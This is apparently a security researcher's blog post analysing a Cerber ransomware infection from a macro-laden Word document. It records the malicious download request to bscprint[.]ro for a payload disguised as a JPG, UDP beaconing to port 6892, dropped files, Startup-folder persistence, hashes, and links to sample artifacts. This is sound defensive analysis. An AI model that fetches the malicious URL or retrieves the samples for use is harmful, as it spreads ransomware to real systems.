Another day at the office and another malicious Word document sent to a user in hopes of them running the macro. From what I can tell from my investigation below this malware has been talked about over at SANS ISC via Brad and looks to be a new type of ransomware called Cerber. With that being said, my investigation into this malware is WITHOUT any files being encrypted on my test VM and some of the other characteristics of this infection (my VM talking to me about it being infected).
So after opening the Word document and enabling the macro, another file is created on the system (artifact called “1495.vbs” located in the C:\Users\%username%\AppData\Roaming folder). This is where the call to the malicious domain of bscprint[.]ro is made with no other HTTP traffic seen in the PCAP.
GET /images/karma-autumn/bg-footer-bottom.jpg?ObIpcVG=21 HTTP/1.1 Accept: */* Accept-Language: en-us Range: bytes=11193- Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Host: bsprint.ro Connection: Keep-Alive HTTP/1.1 206 Partial Content Last-Modified: Wed, 04 May 2016 18:32:54 GMT Content-Type: image/jpeg Content-Range: bytes 11193-407480/407481 Content-Length: 396288 Date: Thu, 05 May 2016 17:34:19 GMT Accept-Ranges: bytes Server: LiteSpeed Connection: Keep-Alive ,;.abaaaeaaa..aa.aaaaaaa!aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaao~.oa.h.@.`-.@5 ..A.......A......A..A...A..A%.2A....OllkEaaaaaaa1$aa-`ba..;2aaaaaaaa.ac`j`jaa.daaQaaaaaah.daaqaaa.daaa!aaqaaacaadaaaaaaadaaaaaaaaQgaaeaa.daaca!`aaAaaqaaaaqaaqaaaaaaqaaaaaaaaaaa..da.aaaaaga1Gaaaaaaaaaaaaaaaaaaa.da.faaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaYtaa.`aaaaaaaaaaaaaaaaaaaaaaaaaaO....aaai.daaqaaa.daaeaaaaaaaaaaaaaaAaa.O..
After the HTTP GET request, the only other traffic we see is via UDP. If we look at “Protocol Hierarchy,” we can see that the vast majority of the traffic is over UDP (78.3% of the packets) with UDP Data being pretty much the same percentage as well (78.2%).
The interesting thing here is that this matches exactly what Brad saw in his SANS ISC post mentioned above – same 9 byte UDP call to the 85.93.0.0/18 IP range via destination port 6892.
The other thing that I noticed in the PCAP was the fact that multiple IP addresses from the 85.93.0.0/18 network were trying to talk back to my VM via port 6892 as you can see below.
Shifting gears and looking at the test VM again; there is a flow of how this infection happens. Once the GET request from above is completed, it drops a file on the drive (claims it is an image/JPG but on the filesystem but is something else – artifact named “4141” located in the C:\Users\%username%\AppData\Roaming folder). We then see see a file called “414145.tmp” (created in the same folder), along with a binary file (artifact called “dfrgui.exe” located in a different folder (C:\Users\%username%\AppData\Roaming\{7ADA3648-8D91-1510-9D16-5D71081DE353}). From what it looks like, the two files are the same since the size and hash both match.
Once the binary file has been created in the C:\Users\%username%\AppData\Roaming\{7ADA3648-8D91-1510-9D16-5D71081DE353} path, and the shortcut to start the process for persistance has been created in the C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup folder, the VBScript deletes the TMP file along with the binary file. At that time you are left with only the other 2 files (1495.vbs, and 4141).
Below are the links to the files found from this infection on Virustotal and Malwr.
SHA1 Hash of 2j74-0786_b-m.dot: 34eb3204b985715834b042aaeb1d0571c9b897c9
Size of file: 318KB
VT link: NA
Malwr link: NA
SHA1 Hash of vbscript (1495.vbs): 9c93e7298e57ea989324650f46423279187defaf
Size of file: 7KBKB
VT link: http://www.virustotal.com/en/file/6c7a570b93f4f1415bdb720251e3389205e7f02320cb4d77c6e94a8a8b43d4a6/analysis/
Malwr link: http://malwr.com/analysis/MDZkYzcyYWZiYzU5NDhlMjk1ZWY4NWQ5ZDUzYTVhMWI/
SHA1 Hash of TMP/binary file (414145.tmp / dfrgui.exe): 64e9a711d3d4a308ca8ed5cc210b96fe12540bc6
Size of file: 387KB / 387KB
VT link: http://www.virustotal.com/en/file/c6f29582e489506ccb14f19fdfa7c169b363246a44b760484716e7a3e15b0fb9/analysis/
Malwr link (for dfrgui.exe): http://malwr.com/analysis/MTE4Zjk2NTBmZGQwNGUxMGEzNGU1MmNlZTA4ZmU5M2I/
Virustotal also confirmed that this was a Cerber infection as you can see the results from the PCAP analysis here: http://www.virustotal.com/en/file/be6f3d1cd427cc8f3dbaddb56850409a6f2972fc8c707919cbfa8f79e8e058ab/alysis/1462473755/
I created a video from my test VM that captured the malware as it was running over at my YouTube channel.
Also, you can find the artifacts from this infection over here in my GitHub repo. The zip file called “2016-05-05 Cerber Traffic.zip” is from my original infection of my VM. The other file called “2016-05-05 Cerber Traffic-2.zip” is from my second run of the malware to get the Process Monitor logs (which match up with the PCAP).
**Update: So I found out the hard way that once you have exported the Process Monitor results from the native PML format to CSV, you can’t go back and Process Monitor will not import it back in. Also, Excel has a hard limit of how many rows it can read, so that route proved worthless. So when I went back and reran the malware again, I looked for the CMD process to see what was going on. Digging through that I came across this:
I am not sure what the deal is with a single PING to localhost though. Not sure if this is another check that the malware does to see if it is in a VM or something. It also looks as if it writes keys to t he registry long enough to make sure that the malicious binary starts up, and then starts deleting references to it.